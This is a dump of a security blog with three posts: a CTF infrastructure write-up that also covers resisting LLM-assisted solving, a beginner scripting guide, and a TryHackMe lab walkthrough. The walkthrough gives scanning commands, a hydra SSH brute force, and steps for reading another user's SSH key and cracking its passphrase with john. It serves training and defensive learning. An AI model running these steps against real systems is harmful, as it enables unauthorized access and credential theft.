
[{"content":"","date":"20 March 2026","externalUrl":null,"permalink":"/blog/","section":"Blog","summary":"","title":"Blog","type":"blog"},{"content":"Organizing a Capture The Flag (CTF) competition is not just about crafting challenges; it is fundamentally an exercise in systems design under adversarial conditions.\nEvery design decision must account for unreliable infrastructure, unpredictable user behavior, and intentional abuse.\nFor TriNetra CTF (a part of ACM SNIOE\u0026rsquo;s Hackdata event), I helped design and deploy the challenge infrastructure for a ~30-participant CTF using Docker, Traefik, and a single-node VPS, while also exploring how challenge design can reduce trivial LLM-assisted solving.\nThe TriNetra CTF took place in two rounds. The first was an online qualifying round and the second round was conducted on-site at Shiv Nadar University.\nThis post details the architecture, deployment model, security posture, design decisions behind the systems deployed in the on-site round.\nSystem Scale, Requirements \u0026amp; Constraints # A key step in the design process was identifying the requirements.\nFrom the previous round, out of the qualified teams we knew only 10 (~30 individuals) would be able to attend. We had planned a 5 hour CTF with a total of 10 challenges across various domains (reverse, web, steg, etc).\nWe also chose to host certain challenge elements after observing in the previous round that providing full artifacts made it trivial for participants to upload them to LLMs for effortless solving.\nBased on the above, we defined the following requirements:\n~30 active participants ~10 concurrent challenge instances Deployment Strategy # For a CTF of our chosen duration and participant strength, implementing a distributed deployment strategy (i.e., Kubernetes) would increase the complexity and maintainability without meaningful benefits. Thus we opted for a single node deployment using a VPS with an on-site backup server in case of emergency.\nOur decision to use a single-node deployment was driven by lower operational overhead compared to a distributed strategy.\nChallenge Isolation Model # Since all challenges were to be deployed on the same machine, it was imperative that files and execution of one challenge not hinder another.\nDocker was used to ensure challenge isolation as well as cross-machine reproducibility.\nUsing Docker also ensured that an unintended vulnerability in one challenge would not lead to the compromise of other challenges or the VPS itself.\nDocker also allowed rapid scaling by deploying multiple challenge instances when needed.\nHandling of multiple users was handed down the stack to the individual challenges themselves. This decision was made in light of the fact that very few of our challenges would need to track attacking user state.\nImplications # Advantages:\nMinimal resource overhead Simplified orchestration and deployment Limitations:\nPotential cross-user interference No per-user state isolation at the container level This tradeoff is acceptable at small scales but may not generalize to high-concurrency environments.\nHigh-Level Architecture # System Architecture Visualization The architecture was designed around a few key principles:\nIsolation over complexity — minimize cross-challenge interference without introducing heavy orchestration Operational simplicity — ensure the system could be managed under time pressure Fast recovery — prioritize quick redeployment over perfect fault tolerance With these constraints, the architecture was divided into two major components:\nChallenge Infrastructure: The exploitation surface, their associated environments and their deployment strategy fell under the domain of ACM\u0026rsquo;s cybersecurity team.\nFront-end: metadata, flag validation, challenge lifecycle The user-facing UI, along with its associated logic (including flag validation), was handled by ACM’s web development team due to their ability to rapidly build a clean UI/UX.\nThis separation decouples the exploitation surface and scoring logic which prevents a failure on one side from propagating to the other.\nThis article focuses on the Challenge Infrastructure and only briefly touches on front-end details.\nInfrastructure Stack # VPS Layer (Linode) # Linode was chosen as the VPS due to prior familiarity and the ability to accurately estimate compute costs from previous experience.\nDuring testing, it became apparent that a single vCPU could not handle multiple challenges, as we observed significant latency and occasional crashes.\nDuring production, we opted for the smallest dedicated CPU available to us, a 4 vCPU machine with 24GB of RAM billed at $0.0645/hr. As the machine was only required for the 5-hour duration of the event, the cost was acceptable.\nWarning Billing for VPSs on Linode is based on the amount of time a machine is provisioned for, not for how long it is up and running.\nContainer Runtime (Portainer + Docker Setup) # As previously mentioned, each challenge was packaged as an individual docker image.\nChallenge developers were instructed to package their challenge with a Dockerfile and an example docker-compose file to indicate challenge requirements. They were also instructed to use environment variables to configure challenges wherever required.\nImages generated via the provided Dockerfiles were then deployed via Docker Compose files orchestrated via Portainer.\nPortainer provided us the right amount of flexibility in being able to quickly bring up and take down challenges without fumbling around in the command line.\nManually typing out individual Docker commands during a failure would introduce unnecessary operational friction.\nNo docker container directly exposed its port, rather all traffic was proxied through particular ports which will be discussed in further sections.\nKey properties:\nReproducibility Process-level isolation Rapid teardown/redeployment Example Dashboard with Portainer Reverse Proxy (Traefik) # As briefly mentioned previously all docker containers were behind a reverse proxy setup.\nOur chosen reverse proxy was Traefik. Based on my previous experience in Home Labbing, Traefik was the most ideal reverse proxy due to its dynamic configuration over proxies like Nginx or Caddy.\nThis allowed for rapid deployment and tear-down of containers without any repeated configuration of the proxy.\nService Discovery # Traefik is able to interact directly with the Docker socket running on a machine to handle running containers.\nIt supports specifying the reverse proxy configuration required for each container by adding labels to the containers themselves.\nIt automatically monitors for any active containers / deploying containers, reads the configuration required from their labels and routes information accordingly.\nThis means that deploying another instance of a container can be handled without any downtime required by configuration.\nTLS Automation # Another important reason for the choice to use Traefik as a reverse proxy was TLS certificate automation.\nWhen configured correctly, Traefik is able to provision Let\u0026rsquo;s Encrypt TLS certificates using ACME DNS challenges (via Cloudflare in our case) as required by individual containers.\nLoad Balancing # Traefik also provides load balancing capabilities. This was used to route users across multiple containers in cases where we felt a single container would not be able to handle a rapid influx of requests or where latency for multiple users needed to be small.\nExample (Conceptual) # Each challenge was exposed using a unique subdomain:\nDomain mapping web-1.ctf.domain -\u0026gt; Web Challenge rev-1.ctf.domain -\u0026gt; Reverse Engineering Challenge \u0026hellip; Challenges were then mapped to containers via Traefik labels:\nlabels: - \u0026#34;traefik.enable=true\u0026#34; - \u0026#34;traefik.http.routers.challenge.rule=Host(`web-1.ctf.domain`)\u0026#34; - \u0026#34;traefik.http.routers.challenge.entrypoints=websecure\u0026#34; - \u0026#34;traefik.http.routers.challenge.tls.certresolver=cloudflare\u0026#34; - \u0026#34;traefik.http.services.challenge.loadbalancer.server.port=8000\u0026#34; Summary of Benefits # Zero-downtime service exposure No manual configuration reloads Deterministic routing based on container lifecycle Automatic TLS certificate provisioning In built load balancing services Uptime Kuma (Infrastructure Monitoring) # Similar to Traefik, Uptime Kuma was selected due to previous experience from home labbing.\nIt provided a simple dashboard where all team members could quickly and easily monitor the infrastructure situation.\nIts functionality to automatically notify people through a variety of methods such as Discord, Slack, ntfy.sh in the event of detected downtime allowed for individuals capable of fixing issues to be notified as soon as possible.\nRequest Lifecycle # Client resolves challenge.ctf.domain\nRequest reaches Traefik entrypoint\nTraefik:\nResolves routing rule via labels Ensures TLS certificate availability Request forwarded to container backend\nChallenge logic executes\nFlag exposed upon successful exploitation\nSubmission sent to frontend (Supabase-backed validation)\nRequest Lifecycle Deployment Pipeline # No CI/CD pipeline was used since development and deployment was heavily time restricted (working around exam schedules). To ensure a smooth deployment process which would be familiar to all, deployment was intentionally made lightweight and simple.\nChallenge developer validates locally (Docker runtime) Source code with Dockerfile is transferred to VPS Image built on host Deployment via Docker Compose managed in Portainer Pre-release validation on private domain As no CI/CD pipeline was used, all deployments and testing were performed manually. This was a slight hurdle since only I was fully aware of the deployment process, with one other team member aware of the partial process. This could have been easily remedied if we had more time, however since deployment and testing took place over the span of 72 hours, there wasn\u0026rsquo;t much time to bring everyone up to speed.\nProper documentation and making everyone aware of the process will need to be a priority next time to avoid a single point of failure in case someone is unavailable temporarily.\nFlag Handling # Flags were injected into containers and challenges wherever possible. This meant that in case of a flag leak, we could simply alter the environment variable to quickly alter the challenge flag.\nValidation on the front-end, was handled by validating against flags stored in Supabase. In hindsight, this was extremely insecure. Since we didn\u0026rsquo;t have too much time to work with the front-end team, this managed to slip through.\nIn the future, validation on the front end should only have the hashes stored in the database instead of the actual flag.\nObservability # Our infrastructure had minimal observability.\nWe used Uptime Kuma to monitor challenge uptime and be notified in case of any failure before participants could notice.\nThis monitoring, combined with Portainer logs, served as our primary mechanism for handling failures. Fortunately, we did not encounter any issues during the event despite the risks introduced by our limited observability.\nIn the future, as a team we need to look into centralized logging and metrics aggregation solutions like Grafana, Prometheus and Loki stack. This would give organizers a clean dashboard to look at to get a lay of the challenge environment quickly.\nReliability \u0026amp; Failure Analysis # With the amount of testing we did, we actually managed to achieve a 100% uptime which in technology terms is a literal miracle. I fully expect things to go wrong the next time we conduct such an event.\nThe only major, confirmed issues we had were on the front-end where we made occasional mistakes while communicating with the front-end team on challenge uploads.\nReported Incident # During the event, we did have one participant report challenge downtime, however cross validation revealed that the issue was a client-side cache issue which couldn\u0026rsquo;t be replicated on the participant\u0026rsquo;s team mate\u0026rsquo;s laptop.\nOur systems reported full operation through Uptime Kuma during this time.\nPre-Deployment Failures # Prior to the competition, we did encounter issues due to misconfiguration of Traefik labels, however these kinks were worked out before the challenge start through iterative testing with different team members each time across various systems and environments to ensure a smooth experience for all.\nSecurity Hardening # As the competition was a CTF, a security focused event, we anticipated that participants would try and breach challenges or the VPS themselves.\nContainers were made as minimal as possible to minimize the attack surface.\nIn the following sections, I will discuss what measures we took to harden the security posture of our VPS.\nNetwork Layer # From a networking standpoint, we ensured only required ports were open by using the UFW Firewall. The firewall was set up in conjunction with Fail2Ban to mitigate brute-force attempts.\nThe only ports we chose to keep open were ports required by Traefik (80 \u0026amp; 443), as well as TCP ports required for certain select challenges (Note: These TCP ports were also proxied through Traefik).\nInbound traffic on all other ports was disabled. The only exception was a port for SSH so we could configure the system. SSH was moved from its default port (22) to a higher port to reduce trivial access attempts. This was done as unlike a extreme high security environment, we could simply identify any unauthorized port scans or malicious activity and disqualify the teams behind it and ban their IPs. This meant we could afford a slightly weakened security posture.\nHost Hardening # The VPS was hardened by using a password manager to generate strong credentials, particularly for the root user.\nWe also enabled security updates to take place automatically. Realistically speaking this was unnecessary considering our competition took place over the span of a few hours, however it was just good practice.\nSSH access to the VPS was made secure by disabling root login \u0026amp; password based authentication. Key based authentication was used instead with a non-root sudo user.\nRuntime Constraints # Challenge containers had hard resource limits enforced based on prior testing under load. This was mainly done to ensure participants couldn\u0026rsquo;t hijack the containers and use it for other purposes like crypto mining.\nIn the event that we did hit our resource limits, the plan was to quickly scale the number of containers and allow Traefik to handle load balancing, rather than adjust the individual resource limits themselves. However this was never an issue during the competition.\nPrivilege Escalation Auditing # To ensure attack surface on the VPS itself was limited, we ran LinPEAS to discover privilege escalation vectors, weak permissions and misconfigurations.\nAnything found was quickly patched up.\nThis was an excellent suggestion from our team lead, something I was aware of but hadn’t considered applying in this context, and will adopt in future deployments.\nSummary of Security Posture # Overall our systems were setup to minimize attack surface and resist trivial compromise.\nAs in most cases security trades off simplicity. As we didn\u0026rsquo;t have a nation-state or persistent adversary threat model, we opted for operation simplicity in favor of extreme security wherever we felt we could detect and handle an attack.\nAdversarial Challenge Design (LLM Resistance) # Challenge design was a primary focus from the start, especially in the context of increasingly capable LLMs.\nFrom our previous experience, we observed that LLMs were able to solve most basic to medium difficulty challenges without human assistance. This fundamentally changes the assumptions CTF designers can make.\nInstead of attempting to prevent LLM usage, we focused on designing challenges that degrade automation-first approaches and require sustained human reasoning.\nTechniques Used # 1. State-Dependent Systems # From our previous experience, we realized that LLMs struggle with handling states. Their limited textual memory struggles to accurately capture the state of a system from one interaction to the next.\nThus we chose to build challenges were participants had to move applications through multiple stages or states and apply logic between steps based on the current state.\nExample One web challenge we had designed, showed application error states on a completely different page and required state manipulations on a completely different page. This was something players had to realize themselves while examining the state of the system.\n2. Large Artifact Constraints # For challenges where it made sense to have large files (Eg: Linux Forensic Image challenges), we made sure to have file sizes large enough that uploading to an LLM would not be reasonable possible.\n3. Reverse Engineering # LLMs are trained on large amounts of text. Binary or low-level reversing engineering challenges with a high amount of reasoning would be very different from the text analysis models are typically used for. This would mean the LLMs would often get confused or not be able to handle solving without human assistance.\n4. Empirical Validation # As part of our testing, we made sure to run our challenges against LLMs without any human assistance. Challenges LLMs were able to solve trivially were penalized in their points weightage.\nCase Study: Large Artifact Bypass # One interesting interaction we discovered during the challenge with regards to LLMs is highlighted below.\nSetup # One of our Linux Forensics challenge had a 2GB (compressed) image file which when expanded would take up approximately 15GB of space.\nIntended Constraint # This challenge had been designed to thwart LLMs by exceeding the file upload limits.\nOne the off chance that file upload was still possible, the decompression into a 15GB file was to ensure an LLM would not be able to process the file on a container it spun up without hitting resource limits quickly.\nObserved Behavior # A clever work around we found participants using was to employ local AI agents (in this case through VS code integration) to operate on their local system itself.\nSince the challenge only safeguarded against LLMs through upload limitations, the rest of the challenge was not made with preventing LLM solving in mind.\nThis meant that through the use of local AI agents and LLM reasoning, a challenge we have weighted quite heavily in terms of points was solved too easily.\nInsight # Constraints on model input are ineffective when computation can be offloaded to the user environment.\nImplication # The key takeaway is that challenges must be designed from the ground up with LLM-assisted workflows in mind, rather than treated as an edge case.\nKey Tradeoffs # Decision Benefit Cost Shared containers Low overhead Weak isolation No rate limiting Simplicity Abuse potential Single-node infra Deterministic No horizontal scaling No orchestration Fast setup Limited elasticity Cost Analysis # Total cost: $2.81 (3 days)\n2 days: low-tier instance 1 day: high-performance instance The cost primarily came from the compute required. Network bandwidth remained well within the provided allotment, as challenges were designed to avoid brute-force approaches.\nOverall we managed to balance scale with efficiency to keep costs low.\nFuture Improvements # The following are possible improvements to be made in the future:\nPer-user ephemeral containers Centralized logging + metrics Automated deployment pipelines (CI/CD + Ansible to setup VPS) Tighter frontend–infrastructure integration More robust AI-resistant challenge patterns Lessons Learned # Operational Knowledge Must Be Distributed # Deployment knowledge concentrated in a single individual created risk during time-sensitive operations.\nValidation Logic Must Be Secure by Design # Storing plain-text flags introduced unnecessary risk and should be replaced with hash-based validation.\nObservability Cannot Be Deferred # Minimal monitoring worked at small scale but introduces significant risk as complexity increases.\nManual Deployment Does Not Scale # Lack of CI/CD slowed iteration and increased dependency on individual contributors.\nConclusion # CTF infrastructure sits at the intersection of:\nDistributed systems Security engineering Adversarial thinking Even at a modest scale, careful decisions around routing, isolation, and challenge design significantly impact system robustness and participant experience.\nA key emerging constraint is clear:\nSystems must now be designed with AI-assisted users as the baseline, not the exception.\nIf you\u0026rsquo;re building CTF infrastructure or exploring adversarial system design, feel free to reach out.\n","date":"20 March 2026","externalUrl":null,"permalink":"/blog/how-we-built-a-reliable-ctf-platform-and-designed-challenges-to-resist-llms/","section":"Blog","summary":"","title":"How We Built a Reliable CTF Platform (and Designed Challenges to Resist LLMs)","type":"blog"},{"content":"","date":"20 March 2026","externalUrl":null,"permalink":"/","section":"SecureCircuit","summary":"","title":"SecureCircuit","type":"page"},{"content":"If you don\u0026rsquo;t know a scripting language or don\u0026rsquo;t know what a scripting language is, you are missing out PERIOD.\nRead on to learn to be more productive and do things you enjoy rather than mundane tasks using scripting.\nWhat is a scripting language? # Well let\u0026rsquo;s ask ChatGPT:\nA scripting language is a programming language designed for integrating and communicating with other programming languages. It\u0026rsquo;s often used to automate tasks, manipulate data, or control applications. Scripting languages typically have a simpler syntax than compiled languages, making them easier to write and use.\nThe key things we need to take away from that incredibly long explanation are:\nProgramming Language Used to automate tasks \u0026amp; manipulate data Simple syntax for ease of writing and use Now that we know what a scripting language is, you might be wondering\u0026hellip;\nWhy should I know a scripting language? # Simple.\nIf you want to skip over laborious and repetitive tasks and get to do things you enjoy, take a few minutes now and learn a scripting language. You don\u0026rsquo;t even need to know that much.\nAll you need to be able to do is read a script and understand what it does.\nWhen you need to automate more complex tasks, you need to know how to change scripts yourself, but until then, your pal ChatGPT should be able to handle all the heavy lifting.\nAt this point, I hope I have convinced you why you need to know how to script.\nWhat scripting language should I learn and how? # There are several scripting languages to choose from. My pick would be Python; Bash is helpful too. But Python is way easier to pick up and remains my pick.\nSome other languages you could also look into are Lua, Javascript, Ruby, and Perl. Ask ChatGPT what each of these languages is generally used for, and find the one that best matches your use case.\nNow, let\u0026rsquo;s take a look at solving a problem with scripting.\nExample # Problem: As a college student doing courses in C, I often have to compile, run, check for errors, and repeat. It is tedious and annoying to type these commands out.\nLet\u0026rsquo;s look at how we can use scripting to solve this.\nUnderstanding the problem # Each time I need to test my code, I need to execute the following commands:\ngcc file.c -o file # Compile the code ./file # Run the code When you have to do this several times for a single problem, it gets annoying to type repeatedly.\nScripting the Solution (Manually) # This is how I decided to use my minimal bash skills to solve the problem:\nfunction cr(){ name=$1 prog=$(echo $name | cut -d \u0026#39;.\u0026#39; -f1 ) gcc $name -o $prog ./$prog } If you need help understanding what\u0026rsquo;s written above, don\u0026rsquo;t fret. I\u0026rsquo;ll show you how you can get ChatGPT to do the work for you.\nThe function above takes a file name, removes the .c extension, produces an executable, and runs the executable. All with only one command!\ncr file.c # Now it compiles and runs all with one command Scripting the Solution (Using ChatGPT) # If we ask ChatGPT the following:\nWrite me a bash function that takes a file name as input and compiles and runs the file\nChatGPT produces the following code and even reminds us to add the function to our .bashrc.\nRemember to review any code that ChatGPT produces before putting it into use !!\nrun_c_file() { if [ -z \u0026#34;$1\u0026#34; ]; then echo \u0026#34;Usage: run_c_file \u0026lt;filename.c\u0026gt;\u0026#34; return 1 fi if [[ \u0026#34;$1\u0026#34; != *.c ]]; then echo \u0026#34;Error: File must have a .c extension\u0026#34; return 1 fi gcc \u0026#34;$1\u0026#34; -o \u0026#34;${1%.c}.out\u0026#34; if [ $? -eq 0 ]; then echo \u0026#34;Compiled successfully. Running...\u0026#34; ./\u0026#34;${1%.c}.out\u0026#34; else echo \u0026#34;Compilation failed.\u0026#34; fi } By using ChatGPT as a crutch, we can slowly improve our scripting skills until we no longer need to rely on ChatGPT.\nMake sure you don\u0026rsquo;t become entirely dependent on ChatGPT for scripting. It\u0026rsquo;s okay to get started using ChatGPT, however it will be useful to learn to script by yourself in the long run.\nConclusion # I hope I\u0026rsquo;ve demonstrated the need to know a scripting language in 2024.\nSo what are you waiting for? Learn a scripting language !!!\nThe next time you get annoyed at having to do a particular task, remember scripting might be the answer.\n","date":"3 November 2024","externalUrl":null,"permalink":"/blog/everybody_should_know_scripting/","section":"Blog","summary":"Read to find out what scripting is and why you need to start learning it ASAP !!!","title":"If you don't know scripting in 2024, your doing something wrong","type":"blog"},{"content":"TryHackMe Room: https://tryhackme.com/room/basicpentestingjt\nThis room requires that you know the following:\nSSH SMB Enumeration Web Directory Enumeration Brute Forcing \u0026amp; Hash Cracking Some basic privilege escalation Personally, this room wasn\u0026rsquo;t too difficult, though I did get stuck on privilege escalation for a bit.\nEnumeration # nmap -sS -p- -v -oA nmap/initial $IP Host is up, received echo-reply ttl 63 (0.15s latency). Not shown: 65529 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 139/tcp open netbios-ssn syn-ack ttl 63 445/tcp open microsoft-ds syn-ack ttl 63 8009/tcp open ajp13 syn-ack ttl 63 8080/tcp open http-proxy syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap From this initial scan, we know which ports are open and a rudimentary idea of what services they host.\nIn the above scan, I\u0026rsquo;ve highlighted some of the services which we can also start scans for to save some time.\nBefore we start scans for specific ports, we can start an nmap scan to get more detailed information about the ports.\nnmap -sS -sC -sV -O -p 22,80,139,445,8009,8080 $IP Now we can also start scans for the services highlighted above:\nTo find directories on the web server:\nferoxbuster --url http://$IP -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -o web_dirs --auto-tune -C 404 To enumerate Samba:\nenum4linux $IP While the scans are running, we can do some manual enumeration.\nManual Enumeration # Loading up http://$IP:80, we can see the following maintenance notice.\nWe can try looking for a robots.txt file by visiting http://$IP/robots.txt\nHere we can see some interesting information, we now know that the Apache Version is 2.4.18, this will come into use later when we are looking for vulnerabilities.\nScan Results # For the sake of brevity, I\u0026rsquo;ve cut out decent portions of the scan results, and only kept what I consider to be interesting (Though considering I am learning too, I might leave out some silver bullet)\nNMAP Scan Results:\nHost is up, received echo-reply ttl 63 (0.15s latency). PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Site doesn\u0026#39;t have a title (text/html). | http-methods: |_ Supported Methods: POST OPTIONS GET HEAD |_http-server-header: Apache/2.4.18 (Ubuntu) 139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 8009/tcp open ajp13 syn-ack ttl 63 Apache Jserv (Protocol v1.3) | ajp-methods: |_ Supported methods: GET HEAD POST OPTIONS 8080/tcp open http syn-ack ttl 63 Apache Tomcat 9.0.7 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-favicon: Apache Tomcat |_http-title: Apache Tomcat/9.0.7 Aggressive OS guesses: Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 5.4 (94%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%) Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb2-time: | date: 2024-01-04T05:31:34 |_ start_date: N/A |_clock-skew: mean: 1h40m00s, deviation: 2h53m14s, median: 0s | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | nbstat: NetBIOS name: BASIC2, NetBIOS user: \u0026lt;unknown\u0026gt;, NetBIOS MAC: \u0026lt;unknown\u0026gt; (unknown) | Names: | BASIC2\u0026lt;00\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; | BASIC2\u0026lt;03\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; | BASIC2\u0026lt;20\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; | \\x01\\x02__MSBROWSE__\\x02\u0026lt;01\u0026gt; Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt; | WORKGROUP\u0026lt;00\u0026gt; Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt; | WORKGROUP\u0026lt;1d\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; | WORKGROUP\u0026lt;1e\u0026gt; Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt; | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: basic2 | NetBIOS computer name: BASIC2\\x00 | Domain name: \\x00 | FQDN: basic2 |_ System time: 2024-01-04T00:31:36-05:00 Feroxbuster scan results:\n200 GET 10l 24w 158c http://$IP/ 200 GET 7l 42w 235c http://$IP/development/j.txt 200 GET 9l 89w 483c http://$IP/development/dev.txt 301 GET 9l 28w 318c http://$IP/development =\u0026gt; http://$IP/development/ The user Jay seems to have weak credentials, we could attempt to brute force the password.\nEnum4Linux Scan Results:\n=================================( Share Enumeration on $IP )================================= Sharename Type Comment --------- ---- ------- Anonymous Disk IPC$ IPC IPC Service (Samba Server 4.3.11-Ubuntu) Reconnecting with SMB1 for workgroup listing. Server Comment --------- ------- Workgroup Master --------- ------- WORKGROUP BASIC2 [+] Attempting to map shares on $IP //$IP/Anonymous Mapping: OK Listing: OK Writing: N/A [E] Can\u0026#39;t understand response: NT_STATUS_OBJECT_NAME_NOT_FOUND listing \\* //$IP/IPC$ Mapping: N/A Listing: N/A Writing: N/A ==================( Users on $IP via RID cycling (RIDS: 500-550,1000-1050) )================== [+] Enumerating users using SID S-1-22-1 and logon username \u0026#39;\u0026#39;, password \u0026#39;\u0026#39; S-1-22-1-1000 Unix User\\kay (Local User) S-1-22-1-1001 Unix User\\jan (Local User) [+] Enumerating users using SID S-1-5-32 and logon username \u0026#39;\u0026#39;, password \u0026#39;\u0026#39; S-1-5-32-544 BUILTIN\\Administrators (Local Group) S-1-5-32-545 BUILTIN\\Users (Local Group) S-1-5-32-546 BUILTIN\\Guests (Local Group) S-1-5-32-547 BUILTIN\\Power Users (Local Group) S-1-5-32-548 BUILTIN\\Account Operators (Local Group) S-1-5-32-549 BUILTIN\\Server Operators (Local Group) S-1-5-32-550 BUILTIN\\Print Operators (Local Group) [+] Enumerating users using SID S-1-5-21-2853212168-2008227510-3551253869 and logon username \u0026#39;\u0026#39;, password \u0026#39;\u0026#39; S-1-5-21-2853212168-2008227510-3551253869-501 BASIC2\\nobody (Local User) S-1-5-21-2853212168-2008227510-3551253869-513 BASIC2\\None (Domain Group) We could login to the Anonymous Samba Share using smbclient, however since it gave me no new information, I have omitted it.\nEnumeration Summary # Users Jan (Has weak credentials) Kay Services: (Ubuntu Server) Apache 2.4.18 (Port 80) OpenSSH 7.2p2 (Port 80) Samba 4.3.11 (Port 139 \u0026amp; 445) Apache Tomcat 9.0.7 (Port 8080) Research # Before we go to check for vulnerabilities in the services, we can start SSH bruteforcing for the user Jan to save some time.\nhydra -l jan -P /usr/share/wordlists/rockyou.txt -f -v -V -t 4 $IP ssh Apache 2.4.18 # searchsploit Apache Here we find a few results that may be useful later on:\nApache 2.4.17 \u0026lt; 2.4.38 - \u0026#39;apache2ctl graceful\u0026#39; \u0026#39;logrotate\u0026#39; Local Privilege escalation Apache 2.4.x - Buffer Overflow Apache 2.x - Memory Leak Apache \u0026lt; 2.2.34 / \u0026lt; 2.4.27 - OPTIONS Memory Leak OpenSSH 7.2p2 # searchsploit openssh OpenSSH 7.2p2 - Username Enumeration OpenSSH \u0026lt; 7.4 - \u0026#39;UsePrivilegeSeparation Disabled\u0026#39; Forwarded Unix Domain Sockets Privilege Escalation Samba 4.3.11 # searchsploit Samba Samba 3.5.0 \u0026lt; 4.4.14/4.5.10/4.6.4 - \u0026#39;is_known_pipename()\u0026#39; Arbitrary Module Load (Metasploit) Initial Acess # We can gain initial access using the bruteforced credentials:\nssh -l jan $IP Privilege Escalation # jan@basic2:~$ pwd /home/jan jan@basic2:~$ ls -la total 12 drwxr-xr-x 2 root root 4096 Apr 23 2018 . drwxr-xr-x 4 root root 4096 Apr 19 2018 .. -rw------- 1 root jan 47 Apr 23 2018 .lesshst jan@basic2:~$ cd .. jan@basic2:/home$ ls jan kay jan@basic2:/home$ ls -la total 16 drwxr-xr-x 4 root root 4096 Apr 19 2018 . drwxr-xr-x 24 root root 4096 Apr 23 2018 .. drwxr-xr-x 2 root root 4096 Apr 23 2018 jan drwxr-xr-x 5 kay kay 4096 Apr 23 2018 kay jan@basic2:/home$ cd kay/ jan@basic2:/home/kay$ ls -la total 48 drwxr-xr-x 5 kay kay 4096 Apr 23 2018 . drwxr-xr-x 4 root root 4096 Apr 19 2018 .. -rw------- 1 kay kay 756 Apr 23 2018 .bash_history -rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout -rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc drwx------ 2 kay kay 4096 Apr 17 2018 .cache -rw------- 1 root kay 119 Apr 23 2018 .lesshst drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano -rw------- 1 kay kay 57 Apr 23 2018 pass.bak -rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh -rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful -rw------- 1 root kay 538 Apr 23 2018 .viminfo Not a lot to look at in the home directory. Surprisingly the home folder for jan is owned by root, and we can only read and execute.\nHowever, the .ssh direcotry has read access, if we find a private key we could attempt to login as user kay\nScore !!!\njan@basic2:/home/kay/.ssh$ ls authorized_keys id_rsa id_rsa.pub jan@basic2:/home/kay/.ssh$ cat id_rsa -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75 [REDACTED] -----END RSA PRIVATE KEY----- Copying the key to our machine, and setting proper permissions chmod 400 id_rsa, we can now attempt to login as user kay.\n$ ssh 10.10.19.163 -l kay -i key Enter passphrase for key \u0026#39;key\u0026#39;: kay@10.10.19.163\u0026#39;s password: Permission denied, please try again. kay@10.10.19.163\u0026#39;s password: Permission denied, please try again. kay@10.10.19.163\u0026#39;s password: kay@10.10.19.163: Permission denied (publickey,password). Sadly, the key is password protected. We can try to crack the key and in the meantime, we can look at other privilege escalation vectors.\nTo crack the key, we can use John the Ripper, first we need to convert the SSH key to a hash, to do this we use ssh2john.py\npython3 ssh2jobn.py id_rsa \u0026gt; id_rsa.hash Once we have our hash, we can crack it using John the Ripper\njohn --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash The hash is an MD5 hash, and only took a few seconds to crack.\nUsing default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 4 OpenMP threads Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status ******* (key) 1g 0:00:00:00 DONE (2024-01-05 06:52) 12.50g/s 1034Kp/s 1034Kc/s 1034KC/s behlat..bammer Use the \u0026#34;--show\u0026#34; option to display all of the cracked passwords reliably Session completed. Using the cracked SSH key password, we can login to the user kay\nkay@basic2:~$ ls pass.bak kay@basic2:~$ cat pass.bak ******************************************************** Logging in, we can read the pass.bak file, and complete the room\nSelf Review # This is the section where I analyze my own methodoloy, look at other writeups, find what I might have missed and do my best to learn from these mistakes.\nAfter reading several writeups, here are some writeups that were useful:\nhttps://medium.com/@JAlblas/tryhackme-basic-pentesting-walkthrough-9a1821f1d7c6 Source code on maintenance post has comments which I missed. vim has SUID bit. https://gtfobins.github.io/gtfobins/vim/ https://www.scioshield.uk/thm-basic-pentesting/ Jserv Vulnerability Incredibly detailed for Red Teaming \u0026amp; Blue Teaming ","date":"4 January 2024","externalUrl":null,"permalink":"/writeups/basic-pentesting/","section":"Writeups","summary":"A writeup of TryHackMe’s Basic Pentesting Room - A great introduction to pentesting","title":"Basic Pentesting","type":"writeups"},{"content":"","date":"4 January 